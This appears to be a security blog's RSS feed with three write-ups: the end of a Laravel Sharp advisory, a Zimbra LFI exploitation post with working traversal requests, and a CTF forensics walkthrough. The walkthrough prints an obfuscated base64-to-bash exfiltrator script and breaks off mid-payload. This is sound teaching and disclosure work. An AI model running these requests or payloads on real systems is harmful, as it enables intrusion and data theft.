- avoid storing unrelated sensitive files on disks reachable through Sharp downloads
- add application-level checks that bind the requested file to the authorized record

These measures reduce exposure, but they do not fully solve the missing per-record file binding issue.

## References
- GHSA: `GHSA-748w-hm6r-qc7v`
- CVE: `CVE-2026-44692`
- Laravel signed URLs: [https://laravel.com/docs/urls#signed-urls](https://laravel.com/docs/urls#signed-urls)
- CWE-639: [https://cwe.mitre.org/data/definitions/639.html](https://cwe.mitre.org/data/definitions/639.html)</content:encoded><category>vulnerability</category><category>cve</category><category>web exploitation</category><category>laravel</category><author>b4r</author></item><item><title>how one cve turned into multiple csirt.go.id certs</title><link>https://baradika.web.id/blog/zimbralfi/</link><guid isPermaLink="true">https://baradika.web.id/blog/zimbralfi/</guid><description>one vulnerability. multiple targets. multiple certificates.</description><pubDate>Tue, 10 Mar 2026 00:00:00 GMT</pubDate><content:encoded>While hunting for vulnerabilities on several **csirt.go.id** programs, I discovered that many of them were running **Zimbra**. After some testing, I realized that a large number of these instances were vulnerable to **CVE-2025-68645**.

Because the same vulnerability appeared across multiple targets, it quickly turned into multiple valid reports and eventually multiple certificates.

## What is CVE-2025-68645?

CVE-2025-68645 is a **Local File Inclusion (LFI)** vulnerability affecting **Zimbra Collaboration Suite (ZCS) versions 10.0 and 10.1**, specifically within the **Webmail Classic UI**.

The vulnerability originates from improper handling of user-supplied parameters inside the `RestFilter` servlet exposed through the `/h/rest` endpoint.

Due to insufficient input validation, attackers can manipulate request parameters to include arbitrary files located inside the **WebRoot directory**.

In certain scenarios, this allows **unauthenticated remote attackers** to retrieve sensitive files from the server, potentially exposing internal configuration files and application resources.

## Vulnerability Root Cause

The issue exists because the `RestFilter` component does not properly validate the file path provided through request parameters.

When a request is sent to `/h/rest`, the application attempts to resolve the requested resource relative to the WebRoot directory. However, directory traversal sequences are not properly restricted.

This allows attackers to manipulate the request path and access files that should not normally be exposed through the web interface.

As a result, the application becomes vulnerable to **Local File Inclusion (LFI)**.

## Affected Versions

The vulnerability affects:

- Zimbra Collaboration Suite **10.0.x**
- Zimbra Collaboration Suite **10.1.x**

Instances running the **Classic Webmail UI** with the `/h/rest` endpoint exposed may be vulnerable.

## How to Exploit CVE-2025-68645

The vulnerability can be triggered by sending a crafted HTTP request to the `/h/rest` endpoint with a manipulated servlet include path.

Example request:

```
GET /h/rest?javax.servlet.include.servlet_path=/WEB-INF/web.xml
```

If the target is vulnerable, the server will return the contents of the requested file instead of blocking access.

In some cases, the server may respond with **403 Forbidden** depending on the file being accessed. When that happens, it is often possible to retrieve other files within the WebRoot directory.

For example:

```
GET /h/rest?javax.servlet.include.servlet_path=/WEB-INF/jetty-env.xml
```

If successful, the response may reveal internal configuration data that can help with further reconnaissance.

In total, i got 6 certificates from this vulnerability (you can skip this, cus i just want to flexing my certs lol).

## Certs:

### Komisi Penyiaran Indonesia

![](kpi.png)

### Pemerintah Daerah Kabupaten Purbalingga

![](purbalingga.png)

### Dinas Komunikasi, Informatika dan Statistik Provinsi DKI Jakarta

![](dki.png)

### PT Transportasi Jakarta

![](tj.png)

### Pemerintah Daerah Kabupaten Gunungkidul

![](gunungkidul.png)

### Pemerintah Daerah Kabupaten Tulungagung

![](tulungagung.png)</content:encoded><category>web exploitation</category><category>bug bounty</category><author>b4r</author></item><item><title>aseng forensic challs always give me a new insight</title><link>https://baradika.web.id/blog/cjquals2025/</link><guid isPermaLink="true">https://baradika.web.id/blog/cjquals2025/</guid><description>upsolved it tho :p</description><pubDate>Tue, 17 Feb 2026 00:00:00 GMT</pubDate><content:encoded>import PdfViewer from &apos;@/components/PdfViewer.astro&apos;

Jadi, pada saat Cyber Jawara Quals 2025 kemarin, lebih tepatnya pada tanggal 25 Desember 2025, gw ngerjain soal foren mas aseng yang berjudul `Unorthodox Part 1` dan berujung upsolve (solve diluar jam lomba) karna gw stuck di pertanyaan terakhir... dan baru solve saat gw sendiri nanyain soal itu ke author nya (aseng) dan gw dpet insight baru dari chall ini.

Di chall ini kita diberi sebuah zip artifact

![](unzipl.png)

dan berisikan dist.zip, dan dist nya berisikan

![](unzipl1.png)

ini isi pdf nya

![CJ-UNORTHODOX-CASE-1.pdf](/files/cjquals2025/CJ-UNORTHODOX-CASE-1.pdf)

Jadi disini, kita dikasih 3 files utama, yaitu `CoreStock.ova`, `PCAP_Captured.pcap`dan `exfiltrated.bin`

## Setup

disini untuk langkah awalnya kita perlu setup dulu

![](tarxvf.png)

trus Convert VMDK → RAW pakai qemu-img

```bash
qemu-img convert -f vmdk -O raw CoreStock-disk002.vmdk CoreStock.raw
```

dan tinggal di mount raw nya

```bash
sudo losetup -P -f --show CoreStock.raw
sudo pvscan
sudo vgscan
sudo vgchange -ay ubuntu-vg
sudo mount /dev/ubuntu-vg/ubuntu-lv mnt_core
```

## Q1: Provide the current state SHA1 checksum of /etc/passwd and /etc/shadow files respectively.

![](q1.png)

Answer: `b4e536869564e1b32dfd60ea90bc45227a289c3c:e9b3129a2209be30fb0ba6ceb61e5c0ee4e47c70`

## Q2: What&apos;s the IP address of the internal threat actor (local) who&apos;s responsible to exfiltrate a certain data to their controlled website/API endpoint?

Disini kita pake file `.pcap` nya, karna dipertanyaan nya mention website, berarti kita hanya perlu filter ip yang berada di protocol http
![](q2.png)

Answer: `192.168.100.107`

## Q3: What&apos;s the path of the attacker controlled endpoint that receives the data?

Disini masih pake PCAP nya, pake wireshark nya coba follow stream ke protocol TCP, dan nnti dibagian stream ke 2 akan ada request dan response http

![](q3.png)

Answer: `/looters`

## Q4: What&apos;s the full absolute path of the targeted directory that the internal threat actor exfiltrates from?

di dalam direktori user cj terdapat file bernama `frmstarter.script`
![](q4.png)

bisa kita lihat, bahwa absolute path nya terdapat di direktori `/home/cj/core_app/company_secret`

Answer: `/home/cj/core_app/company_secret`

## Q5: Where is the malicious exfiltrator script located?

jika kita `ls -la` di direktori user cj

![](q5.png)

jika kita cek direktori `.ssh`, terdapat sebuah `malicious` script bernama `rc` berisikan kode berikut:

```bash
#!/bin/bash

base64 -d &lt;&lt;&apos;EOF&apos; | bash
ICAgJHsqfn59ICBiYSQnXHUwMDczaCcgICR7QCx9ICAgJHtAJSUtNFVJUlwoZX0gIDw8PCAgICIkKCAgICR7Ki8vd2JfPi8kXCEyVyMkeFwpfSAgJHtAJSV4WHRicnpwU30gICBwJHsqIyNVKlpwfXIiIiR7KiNmXCtFQH1pbnRmICJceCQoICAke0B+fSAgJHtALy5kcHw+dTJcKC9zXH1LXChcSjJ9ICBwXHJpXG4kJ3RcMTQ2JyAgICVzICdgMFlUZ2gnICAiJHtAfSIgICAke0AvXHtcKGM/bF59IHwgIiR7QH5+fSIgICBtZDVccyR7QCN5MUZeP3AsRn11bSAiJHtAfn0iICAke0BefSAgfCAiJHtAXn0iICAkeyp+fSAgYyIidXQgICAtYiAkKCggICgtKC0oLTQiJHtALy9rWm84SlwpJC9zajMxZWlQXGB9IjMke0AjLDVxVWEsXCl0fSMkeyovdXwjXClKcX1rLSIke0AsLH0iLSI1IjEjJHsqIzFNXChSfUopKzQ1IzApKSAgKSktJCgoICAoKCItIjcke0AjI0wzTkZ9IzU0KyItIjEyIzE3KSsyMSR7Kl5efSMiNCIwKSApKSAgICR7KiwsfSAiJHtALH0iICAgKSIgICIke0AsLH0iICAke0B+fn0gIDsgJHtAXl59ICAiJHtAfn59InByIiJpJCdcMTU2J1x0JCdceDY2JyAgIlx4JCggICIke0AvL1BcITZmXixYfSIgIFxwcicnaVxuJHsqXn10XGYgJXMgJ1E8X2MnICAgJHsqJSV6PjN3JSt9ICAgfCAgIiR7QC9FO1BhRyMvRmkwaX0iICBtJCdcMTQ0JyR7QF59NSJzInUiIm0gJHsqLy9VMlVvXFtIfSAkeyp+fn0gfCAgICR7Kix9ICAiJHtAfn0iICAgXGNcdSd0JyAgIC1iICAgJFsgICgoMzkjIjIiKy0zIiMiMTApKyI2IiMkeyolJTZVPGpcZCR9MTApIF0tJFsgICgtKC0oIjIiIjIiIyR7QH5+fTArNCMiMSIzKSsiMyIiMCIjMSkpIF0gICAkeyovN3cwbmtwUn0gKSIgJHsqfSAgICYmICR7QC8vblxdVGIvQDlHJU19ICAgcHJpIm4idGYgICJceCQoICAkeyosfSAgJHsqLH0gICQnXHg3MHInJyckJ1x1MDA2OSduJCdcdTAwNzQnIiR7QCx9ImYgICAlcyAgICd3RDUrUlwwWicgICAkeypefSB8ICAkeyolJT0zOFReeX0gICJtIiJkIiQnNVx1MDA3MyckeyolJVdUbk59dW0gJHsqfSB8ICAkKiAgICIke0AvX1whJUd9ImMndSckeyp+fn10ICAtYiAkKCggICAoKC0yNyNjKyR7Kix9NTUjZCkrMiMkeyojajpcKXwlfTExMCkgICkpLSQoKCAgKCgtIjMiMyMiMiIqMjMiIyIiMiIpKzM3I2MpICkpICAiJHtALy9cKXJcYHIvJE5FMn0iICApIiAkeypefSAgICQqIDsgJHsqLy9yVUQmSX0gIHBccmkkJ1x4NmVcMTY0J1xmICAiXHgkKCAgICR7QCMjeHE7WG19ICIke0AvRW4wJkM8Oip9IiAgICdwJycnXHIkeyovTjNibS9RXH06XFt9aScnbnRmICAgJXMgJ1ByZEMnICAke0AvPz45LiVufSB8ICAgJHtALCx9ICAgJHtAfn0gbWQkJ1x4MzUnJHtAfn1zdScnXG0gICAke0AjI2dISU5cfUh9IHwgICAkeyovL09AYVJaemt9ICAgJHsqIyMsR3NCfSAgYyIke0BeXn0idSR7Ki8vK1wpXGBaOipcci9fWU1xfXQgICAtYiAgICQoKCAgKCgxMiMiJHtALCx9IjAqMiR7Ki80cnYjJlxgTHx9IzApKyI4IiR7KiVce3Q+JTElX30jMSkgICApKS0kKCggICgoLTcjMSo1OSR7QCUlXCFxUGg7PDAxfSMwKSszIjEiIzIpICkpICR7IUB9ICR7Ki8vRVwidip9ICAgKSIgJHsqLCx9ICAgJiYgICAkeyovL0JVZkxIZy9cXSZhdX0gICIicHIiIlxpbnRcZiAgIlx4JCggICAiJHtALCx9IiAgICIke0AjIzw7RyZUQX0iICQnXHg3MCdyaScnJHsqI0tDZ1xdRS01fW50JycnZicgJXMgICc+ZCZMJyAgJHsqfn59ICAgfCAkeyEqfSAgICIke0B9IiAnJyJtImQ1XHMndSciJHtALy8zeHwudkl9Im0gICAke0BeXn0gfCAgICR7Kix9ICAgJHtALy9wUzl5MDg3MH0gIGN1JHsqLzguK2YvI352PHl9dCAgLWIgJCgoICAoLSgtKDYxJHtAL2J0NyVzcmF9IyIke0AvSnJcW0FoLzFDLWJ4TzF8fSJlKzYke0AjI3NtTFwpYlx9Xn0yI0gpKyIxIjMiIyIyIjEiKSkgKSktJCgoICAgKCgkeyovXFtEPGVRUX0tMiMxMSskeyovL1woelZkL3lsXCR9LTkiJHtAI1hXc203MlxbRX0iIzEke0AjIypTXnxENlxcfTcpKyR7KiwsfTI3IiMiMW4pICkpICAiJEAiICkiICAkeyojIzFXLX5jXClBfSAgIDsgJHtALH0gICAkeyovLzgyN34vP1wpYS0/OU59ICAgJ3AncmludCJmIiAiXHgkKCAgJHshQH0gICR7QC8vOmJpJXwvdVhcXUh9ICIiXHAkeyp9ciQnXHUwMDY5JyduJ3QiImYgICAlcyAnbTsuNjonICR7KiUlaWVkXmR9ICAkeyosLH0gfCAgIiR7QF59IiAgICIke0BefSIgICIiIiR7QC96ZmdZL05KSW5MPGh3fSJtImQiNXNcdSIke0AlQEV5P01SfSJtICAke0Avc0VcXXw0Tn0gICAkeyojPFwocF9ES0N9ICAgfCAgJHtAJVZHSmwkfSAgJCdcdTAwNjMnXHUndCcgIC1iICAgJCgoICgoLTUzI2ErLTUjJHsqLy80XCltbCpBUS9GT3MzXCh9MTApKzQ5IyR7KiUlSyZTajt3UX1sKSAgICkpLSQoKCAgICgoIi0iNSIke0AjfmVnKix9IjcjMS0yMyMxKSs0IyIke0AjI3Ixcnd9IjIxKSApKSAkeyovL3VmXmYvMU5cIUl2MX0gKSIgICR7Ki9cfS1DVjpfby92dyMzfSAmJiAgJHsqLy8zNUI/RzZ9ICAgcCQnXHg3MicnaSdudCR7QC8vXClcczozcGl9ZiAgIlx4JCggJHsqL0ZMNnN4QHo0L0lHVzxXUH0gICAkeyova1dJJXNce1Z9ICAnJyJwInJcaSQnXHUwMDZlJyIiInQiJHsqL1xbPVxgXE19ZiAlcyAnQlkiMCcgICR7QCwsfSAiJHtAJSVJZTdZX01ycX0iICAgfCAgICR7KiVnNywzfSAiJHtAXn0iICAgbSQnXDE0NCckKCggICgoIjQiIiR7QCx9IjkjIjAiKjM5IyIxIikrNCIjIjExKSAgICkpJEBzJ3UnbSAgICR7QCwsfSAgIiR7QC8vLnIkNEdRNi9cKTpTRixcYDt9IiAgIHwgICAkeyp+fn0gXGN1J3QnICAgLWIgICRbICgoLSR7Kl5efTgiIyIxNiszIzEwJHsqLy84N0FWYVdaL1c1Zm1HfTApKzQke0AsLH04IiMiQSkgIF0tJCgoICAgKC0oLSg1MSNiKyR7QCU7RmVTXkV9MzgjIjEiImUiKSskeyp+fTE0IiMiMjMpKSAgKSkgICAkeyovamJiO3pYLC8wXH05XChZK30gICAkeyovU0w2UDg4fSAgICkiICAke0BefSAgIDsgJEAgICBwcmkibiJ0ZiAgICJceCQoICAgJHshKn0gICR7Kn59IHAkJ1x4NzInaW4iInQiIiQnXHUwMDY2JyAgICVzICAnXEAhbmlJM0MnICAke0B9ICAiJHtALy9CWFx9O0F9IiAgIHwgJHsqLCx9ICR7KiwsfSBtIiJkIiIkWyAoKDU0IzEqIi0iMiR7Ki9rQTNmfTQiIyIxKSs2IiMiMSIwIikgXScnXHMkJ1x4NzUnJCdcMTU1JyAgJHshQH0gICAiJHtAXn0iICB8ICAgJHsqXn0gIFxjdSIke0AvL2dURj81Z30idCAgLWIgICAkKCggICAoLSgtKCIzIjIiIyJmLSI0IiIjIjExKSsxIjQiIiMiMSkpICkpLSRbICAoKC0zIyIke0AlfjFcTXUzU30iMSIxIio0MiMxKSsxMyMxMSkgICBdICAiJHtAfn0iICAgJHsqfn0gICkiICAgJHsqLy84SWk3PS8tUUElT30gJiYgICR7KiVnbkk2azFNXCh9ICAkeyoldllcKCYqfSBccCcncmluJyd0J2YnICAiXHgkKCAkeyojQ05nLnpuZ30gIiR7QC9jdlwhVS9fTkd6TTY6Qn0iICBccCIiclxpbnRmICAlcyAgJ0ohQFgnICAgIiR7QCM3OFxbemwzOXd9IiAgJHsqLy9heVBIdi98bjM/VU8+S30gICB8ICAkeyFAfSAgICIke0B+fn0iICAgbWQkKCggKCgzIzIqIjMiNyMwKSszIiMiMTIpICApKSQnXHUwMDczJyQnXDE2NSdcbSAgICIke0AvLi4ublxdTnMveTtPQCZnRVN9IiAgJHtALH0gICB8ICAiJHtAXl59IiAgICQnXHg2M3UnIiIkeyovMV5rRH10IC1iICAkKCggKCgkeyFAfTIiIyIke0B+fn0xMSo1MSIjIiR7ISp9MikrIiR7QC9cISNfRUJcYEsvLGpcW1V1bn0iNiMxMSkgICkpLSQoKCAgICgoLTIwIyR7Ki9vV0c8ZC9LTlZNXCl0JH1nKzU4IiMiZSkrNCIke0AlJVBcW3dJNTFTZH0iNiNnKSAgKSkgICR7KiwsfSApIiAke0AvLzdyXH04NS8jWVJwfSAke0AlSUZPaH0gIDsgJHtAI0doayxccnFcKX0gcHInaSdcbiIke0AjI3hcKFwoRWJ9InQnZicgICAiXHgkKCAgICR7QCNZc19zN0YsfSAgIiR7QCMjfCpvNn0iICBccHIiImludCR7Kn5+fWYgJXMgJylpV2snICAgIiR7QC9+XChjcXJmLyZcKCNcIlxgM0J9IiB8ICAiJHtAfn0iICAgbSIke0AsfSJkNXMidSJcbSAgJHsqfn59ICB8ICAgIiR7QCx9IiAkQCAgIiR7QC9LMURadjkvJlFyJHJ5N30iYyJ1InQgIC1iICAkKCggKC0oLSgzNyNpLSI2IiR7Kl59IzEkeyolNUF5ZFxgZyR9MCkrJHsqXn00MiR7Kn5+fSMxKSkgICkpLSQoKCAgKC0oLSgiLSIkeyp+fTIkeyEqfSMxMDEqIi0iMyIjIiIxIjApKzIiIyIxIjEiKSkgKSkgJHsqLCx9ICIke0AsfSIgICApIiAgICR7QH5+fSAgJiYgICAke0BefSAiInAnJ3JpIiIkJ1wxNTZ0JycnXGYgICJceCQoICAgJHsqLy8xNl5ZL3lAXzo5cT99ICAkeyFAfSAgJHtAXl59cCIicidpJyJuIlx0XGYgICAlcyAne3FdaC1ZRScgICAkKiAgIHwgJHsqfn0gICAke0B9ICcnbScnZCIiNSdzJ3VtICR7QH0gICAkeyp+fSB8ICAgJHsqfn59ICAgY3UidCIgICAtYiAgJFsgKCgiNCI4JHsqXn0jbC01NiMiJHtAXn0iZikrNCR7KiM7cl9VV1FjRX03JHsqXl59IyJsIikgXS0kKCggICgoMiMxMDEwKi0iNyIjMTEpKzQjMSIyIjMwKSAgICkpICAkeyp+fSAkeyp+fSAgICkiICAkeyolJUBJRG06fSA7ICAkeyovLTRnPzhjXF0vX1wpWlx7c1wwfSAgICR7Kix9ICJwInIiJHtALy9cISVJZ3JcXVN2fSJpbnQkJ1wxNDYnICAiXHgkKCAgICR7KiMjUUxcaF59ICIke0Alb1xVWj9qWn0iICAgJCdceDcwXHg3MidcaW50ZiAgICVzICAnZ05FJVJKJjwnICR7KiUlXHtwNmV9ICQqICB8ICAkeyEqfSAiJHtAfSIgICIiJCdcMTU1JydkJycnNXN1JHsqfW0gICAkeyovJjBJX2VcW2t9IHwgIiR7QF59IiAgICR7KiUlSkxKN1x7K359ICBjdSd0JyAgIC1iICAgJFsgICgoJHsqfn59LTEiMiIjIiR7QF5efSIzMisiNSIjMTEwKSsiJHtAJSVVRTImK30iMTUjIjEiZSkgICBdLSRbICAoKC0zIyIxIjEtIiR7QCNvXH1WMn0iLSR7Kn59MTQjMTYpKyIyIiMiMSIiJHtAXl59IjEwKSBdICR7Ki9cW1w0QS9pV1hUX1xgaX0gIiR7QC9cKTpcXS5+O2JnfSIgKSIgICQqICA7ICAke0B+fn0gICAke0AvQGNDclwoV1xcfSAgIHAiciIkeyp+fn1pJCdcdTAwNmV0ZicgICAiXHgkKCAkeyovMHB2fl5IJS89XFtcW3lqcExEfSAgIiIkJ1wxNjByaSciJHtAIyNBJWRkfSJuJCdcdTAwNzQnJHsqfn1mICAgJXMgICAnbVB1KDUnICR7Kl5efSB8ICR7QH0gICAkeyovL0EyPlx7bC9DJSotXHtkcl99ICAgXG1kNSJzIiR7QCMjOkg6djtcIkEtfXUkJ1x1MDA2ZCcgJHsqIyNVNjRlX30gfCAgJHshKn0gICR7QC9lcXc7PWNxfSAgXGMidSInJyIkQCJ0ICAgLWIgJFsgKC0oLSg4IyR7KiwsfTAtLSI2IiIke0AsfSIyIiMidykrIiR7QH59IjIjIjEiMDApKSBdLSQoKCAgKCgtNSR7Kix9MyMxLSR7KiVna1M4PGclfTQjMSR7Ki9jRVgxVX5mO30zKSsiMiIxIyR7QF5efTFnKSApKSAkeyovLzN6WHR6KjEvJH5oOX0gICAke0AvbCZKYXhwL1V1dVxKSTFQfSAgICkiICAgIiR7QH0iICAgJHtALCx9ICAgJiYgICAke0AjI2pMPC40Mlx9fSAgJHtAIzpcfVxgTXZefn0gJHsqIyNjaj53Kn1wcmluXHQiZiIgIlx4JCggIiR7QH0iICAkJ1x1MDA3MHInIiJpbiR7QC8vXGBsNGpaMn10ZiAgICVzICAncldGXWh1ficgICR7IUB9ICB8ICAgIiR7QF59IiAgICR7Ki8vRlwoXH1cUG02L1lFVFZ9ICAgJHtAfn59bWQiIiR7Ki8vXH1sWEt9NVxzIiJ1bSAgJHtAfSAgJHtAfSB8ICAgIiR7QCMrXH02fFwpPj99IiAke0B+fSAkeyp+fWN1dCAtYiAkKCggICgoMiR7Kn5+fTUjMSokeyp+fS00NyMyKSskeyFAfTQjIjIiIiR7QH59IjApICAgKSktJCgoICAgKCg1MyIke0B+fSIjMioke0AvXjRecjE4ZVV9MTgiIyIyKSsiJHtALy9QaXhOZ0R9IjMjMTApICAgKSkgJHtALH0gICkiICAkeyp+fn0gICAmJiAgICIke0AvXCkldmp9IiAkeyovNDUkTS8zVFwpbX0gICAkJ1x4NzAncicnaW4keyFAfXQke0AsfWYgIlx4JCggICR7QCMjXClXdF8+P3N+fSAiIlxwciJpIm4nJ3QiZiIgICAlcyAgICdjbmUyIicgJHsqXl59ICAgJHsqfSAgfCAgICR7Ki82eSM7WC9yVHJEfSAiJHtALzEkOW1jLzdVUSMtUn0iICBtZCI1IiR7KiVcImRcWzd6fXMnJyQndVx4NmQnICAiJHtALH0iIHwgICAkeyosfSAiJEAiIGN1J3QnICAgLWIgJFsgICAoKCQqLTIzIiMiImYiLSR7Ki8vUlR3PG8vOTIsems4JX0tMzUjMSkrNDEjJHsqXl59RSkgICBdLSQoKCAoKDI5I20tIiR7QC9LJGd4XGAvXFs2Xn5cXX0iNSR7Kix9OCNoKSsiMiIwIzEiMiIpICkpICAgJHtALy9DN2UjUE9tfSApIiAgJHsqL2JLWTM9elgtfSAgIDsgICAke0AsLH0gJCdceDcwXDE2MicnaScnbid0ZiAiXHgkKCAgIiRAIiAiJHtAI1xgZD1TWnp0NH0iIHAnJ3IiImkiIm4idCJmICVzICduLkFzXS4nICR7Ki9cKVR5aH0gICAkeyp+fSB8ICAgIiR7QF59IiAgJCdceDZkJyQnXDE0NCcnJyI1InN1JHtAL0N0UFo5OVwhfW0gICAke0AlJW5cIU86a30gICR7Kn59ICAgfCAgICIke0AsfSIgIGMidSIkJ1x4NzQnICAtYiAkWyAoKC0zNyMkeypefTIqLSIxIjEjMikrMiR7Kn02JEAjaykgIF0tJCgoICAoKCIzIiMyJHtALy8qXFtce1w2PS9tQ1RAcWNcYFB9MSotMyMxIjEiKSs1IjQiIyJSIikgICApKSAgICR7KiMjT25QVn0gJHsqJTU6WlxdcFxbfSAgKSIgJHsqLH0gIDsgICAkeypefSAgcCJyImluXHQnZicgICAiXHgkKCAgICR7IUB9ICAkeyp+fSAkKnAiciInJ2lcbnRmICAlcyAgJ0A1b1snICAgJHsqLH0gJHtAI0ZSeXdyfSB8ICR7Ki8vSiNcXVFud3dNfSAgICIke0AlJXB5QmUmXF1TfSIgICAkJ21ceDY0NXMnJCd1XHUwMDZkJyAgICIke0BeXn0iIHwgICR7KiV5c1VFfSAiJHtAI3BjXHsufSIgXGMndScnJyQnXHg3NCcgIC1iICAkKCggICgoLTE3IiMiMisxNSMiJHtAfSIyKSsiJHtAIyNjZlg0d3l9IjIiJHtAfSIjIjEiKSAgKSktJCgoICAoKCR7Ki8vI1xgT2o+U301IiR7QCwsfSI1IyR7QC8vPzwjOkEvYy5FblJuaEt9MC0tJHsqL3E0bm12eC9WU15fXGBrLX00IjIiIyIxIikrMTEjIjEiKSApKSAgICR7Kix9ICAgKSIgJHsqL2lFXFs5YlMvZW95JWFXWjR9ICAgJHsqIyNSXHs4TVx9OEl9IDsgICAke0BefSAgIHAnciciaSJuJ3QnXGYgIlx4JCggICR7Ki9eXHtcW0R9IHAkeypefXIkJ1x1MDA2OScnJyJuInQkeyovYyQlI3Vce0QvRW81TjI7fWYgICAlcyAgICcpe3k8NE5CRycgJHsqfn59ICB8ICAkeyEqfSAgIG0iImQnNSciInMkeyosfXVcbSAiJHtAIy5HdlwofH0iICB8ICAgIiR7QCNrelwiUnpQJDB9IiAkeyovQHNeJlN9IFxjJCd1XHUwMDc0JyAgIC1iICAgJFsgKCgiLSI1JHsqL3AzRFwpL2kwXH0jfSMxMio0MiIjIjApKzYkeyp9MSMiZSIpIF0tJFsgKC0oLSgiNCIxI2UtIi0iIjQiIjgiI3MpKzUiOSIjcikpICAgXSAkeyojI1xbWDh+fjdhfSAkeyovLzYuLnI0L0J0TU99ICkiICAgJHsqI000XCgjJn0gOyAiJHtALy8rfmZQYWpMTn0iIHAkeyp9clxpXG5cdGYgIlx4JCggICR7IUB9ICAgJHsqIyNjXH1ORnl+PGF9ICBwJHsqIy5cKGJcW2dofXJpbicndCIiZiAgJXMgICdPZ1FyXScgICR7Kn5+fSB8ICAiJHtALCx9IiAgIG0iZCI1cyIidW0gICR7QCMjPWJZTlxbUEF9ICAgJHtAJSVeQmgmLSY1fSAgIHwgICAkKiBjIiJ1dCAtYiAkWyAgICgtKC0oMyMxMCsyMCMiYSIpKzIjIjEiMCR7Ki8vXFtjWVUvXCk3JUpaPH0wMCkpICAgXS0kWyAgICgoMyIjIjEkQDAqIi0iIiRAIjUyIiMiJHsqJSU1bz9nRzZcKH0xKSsyIiR7QC9yV3krP30iIyIxIjAwIjEiKSBdICAgJHsqLH0gICAiJHtAJXVcYFw0dH0iICApIiAgJCogJiYgICAiJHtALy9YbFx7Q1x7Ny87TEEufSIgICBwclxpJHtAfW4ndCciJHtALy8+SSpZRHlcImIvQCsuY1hIfSJmICJceCQoICR7QC8vbzZcYF5XWlFMfSAgICR7Ki8vOEhaYzcvM1IwPzFcKEoyfSAgICJwIiIicmkkJ1wxNTZ0ZicgJXMgICckY0J1bHonICAkeypefSAgfCAgICR7Ki9cfXVzSDV9ICAkeyosLH0gJCdcdTAwNmQnZDUiInMke0BefXVtICR7QC8vY1xgXChWL1AuXH04WVxgZHV9ICIke0AvNHlQaVxoL0txNFxgfSIgIHwgJHtALCx9ICR7Ki8vTU1OYn1jIiJ1dCAgIC1iICQoKCAgICgoLTIjMTAwKjIke0AjREZsXHt9IzEwIiR7QCwsfSIxKSsiNSIkeyojI3RCdWdMUX0zI0EpICkpLSQoKCAoKC0iMiI0I2MrLSIyIiMxJHtAfTEpKzMke0B+fTkjIiR7QCwsfSJ3KSApKSAkeyovL0wkeGsqL09GXF1cKFN5R30gICR7KiUlPTg/LU0kZGp9ICkiICAkQCAgICYmICAke0AvdCZYdX0gcCR7Ki8/XHs7dk4vXjpce0t5SipWfXJcaW50IiR7QCVVTmw2RVwhKn0iZiAiXHgkKCAkeyp+fn0gJHtALH0gICAkJ1x1MDA3MCcncidpbnRmICVzICc7PUl8czZWMScgJHsqJVx7ZTNCfSAgfCAgJHsqLy9xbFZ0Ynd9ICAgJHsqLy9MXChccjNWfSBtXGQiIjUkJ1x4NzMndSQnXHUwMDZkJyAkeyojIy1ReHZTUzp9ICR7Ki8vTCRlYk5SXHYvRlx7VWcjSX0gICB8ICAkeyp+fn0gIiR7QC8vbnQ4Wm9sQUh9IiAkJ1x1MDA2MycnJyIke0B+fn0idScndCAtYiAkWyAgKCgiLSI2NCR7Kn0jMSozIzEwKSs0OCNmKSBdLSQoKCAoKDQ0IyR7QH59MiozNSMiMiIpKzUjMTQpICApKSAke0AsLH0gICkiICAke0Avam5LY05eMC8mQDE7ejx5fSAmJiAke0B9ICAgIiR7QC9ce3xKUksvXHsmdzRcXXU+Pn0iICBwJydyaSR7Ki9uM2VcKGdce0h6fW5cdGYgICAiXHgkKCAgJHsqfSAgICJwIlxyaScnbiQnXHUwMDc0J2YgJXMgICduWnxTPjJUYycgICAke0B+fn0gfCAgJCogJydtZDVzJycidSJtICAkeyosLH0gIHwgICR7Kl5efSAgICIiXGN1JHtALCx9dCAgIC1iICAkKCggKCgtJCozJHsqfn05IiR7QH5+fSIjYy00IiR7QF59IiMiJHtALy9Qd0k4fSIxJHsqfn0xKSs0IyIxIiR7IUB9MzMpICkpLSRbICAoLSgtKDQkeyojPixLSlgqcVZ9MyMkeyp+fW4tJHsqXl59LTIiIyIxMSkrNDIjImIiKSkgXSAke0AvL2R6dXEyVX0gKSIgICAkeyovb0hXKi9ce3hSfHRcRlx9fSAgIDsgICR7Kn5+fSAgIFxwJydyJHsqL3psXCJiLzA/dlwhfWkibiJ0XGYgICJceCQoICAgIiR7QF5efSIgIiR7QC86bEdSXH12JS9HO1plbH0iICIiJ3AnJCdceDcyXHg2OVx4NmVceDc0JyQnXDE0NicgICVzICAgJ2FuLCFDOnwnICAgJHsqLy9uXCg8LX0gICR7QCx9ICB8ICAkeyp+fn0gbWQnJyQoKCAgKC0oLSgyIiMiMTErMyI3IiIjIiR7Kl5efWEpKzQjIjIiIiR7QH59IjApKSAgICkpInMidW0gJHsqXn0gICR7QCNANHhtd1NSUH0gfCAgIiR7QC8vXF1cIXIuQC9JJSxpPX0iICIke0B+fSJjdSR7Kn10IC1iICQoKCAgKC0oLSgiMiIjMTAtLTM3IzIpKzMjIjEiMCkpICApKS0kWyAgICgoIiR7QC8xLm91d2V9IjYwIzAtJHsqL2tcXzkvbWFBWiV9MTgjIjAiKSs1NCMyKSAgXSAgICR7Ki8vRXM3JS8xNFNXJVxdcn0gJHsqLCx9ICAgKSIgICAkeyovLUlAYy9oOitOfSAgICR7Kix9ICAmJiAgICR7Ki8veEE5LktuaEwvOypcITJ9ICIke0B+fn0iICAgInAicmkiIlxuInQiXGYgICJceCQoICAkeyojSjpvLVxbcH0gICR7Kn59ICAicCJyJCdpXDE1NnQnJHsqIyMuXk4jdkdsNH1mICVzICc3RUhEJyAgJHsqL1VRQ0Z9IHwgICQqICIibSdkJyR7KiVcKFFZPU8xfTUkeyolPSZMMnV5fXN1JydtICAgJHtAJW9xSGdtXFt2ZX0gfCAkeypefSAgIGMke0AvL2hmRXI7Ni85XHtaVV99dScnJCdceDc0JyAgIC1iICAgJCgoICgoMiMxJHsqJSVlZ2ZlfTAxKyR7QC8vXGAqXEVGNHI2L2JDMXhcKHV9LTMkeyojI0lcXVosfSMxMSkrMzMjZSkgKSktJFsgICgtKC0oJHsqL25HfjZcKFxdei9ce3hnSVxdXHt9NTgiIyJlLS0keyp+fTI5I3ApKzQiMCIjbikpICAgXSAgJHsqJSVqcnw8QjdcKHx9ICAkeyp+fSApIiAgJHsqXn0gJiYgICIke0AjI2hWcDdDfSIgICAiJHtAL09oajE9Ki9uK0RKXmJAU30iICIicCR7Kl59cicna